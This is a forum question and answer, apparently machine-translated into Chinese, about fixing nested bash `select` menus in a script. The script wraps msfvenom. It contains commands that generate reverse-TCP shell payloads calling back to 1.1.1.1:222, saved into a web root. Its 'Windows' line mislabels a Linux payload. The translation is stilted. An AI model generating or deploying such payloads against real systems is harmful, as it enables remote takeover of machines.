0
我有一個多選菜單。菜單中的菜單,然後我喜歡讓腳本做「什麼」,我選擇第二個選項後告訴它。在這種情況下,我使用msfvenom來生成不同類型的shell。而最後一個問題是,當我選擇第一個號碼時,它會跳到右側的子菜單,但是我選擇了第二個號碼,而不是跳入「Web Shells」,它仍然跳入第一個菜單。 PS:這工作得很好,如果我不使用子菜單,基於here選擇後用命令多選菜單
#!/bin/bash
clear ;
echo 'Choose a Shell type'
select shell in Binaries Web Scripting Shellcode
do
case $shell in
Binaries|Web|Scripting|Shellcode)
break
;;
*)
echo "Invalid Shell"
;;
esac
done
clear ;
# Binaries Shells
echo 'Now pick a platform based on the number you chose'
select binaries in Linux Windows MacOS
do
case $binaries in
Linux|Windows|MacOS)
# Linux
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86
# Windows
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86
# MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho
break
;;
*)
echo "Invalid option"
;;
esac
done
# Web Shells
select web in PHP ASP JSP WAR
do
case $web in
PHP|ASP|JSP|WAR)
break
;;
*)
echo "Invalid option"
;;
esac
done
而且,如果我做這個東西的工作,身份證只是不停地加入一些更晚
哦,這是真棒,行之有效!謝謝。我是否也可以對我的「msfvenom」選項使用相同的方法?假設在子菜單中「1)Binaires」我有3個選項,根據我將從子菜單中選擇的數量,它會去並分配任何分配的數量。現在只需要在命令後面輸入命令 – Petr
是的,例如,如果[「$ binaries」=「MacOS」];然後 //你的命令在這裏 fi [看看elif語句,因爲你會從3個選項中只選擇一個] 謝謝 –
謝謝,那正是我想要的:)它工作 – Petr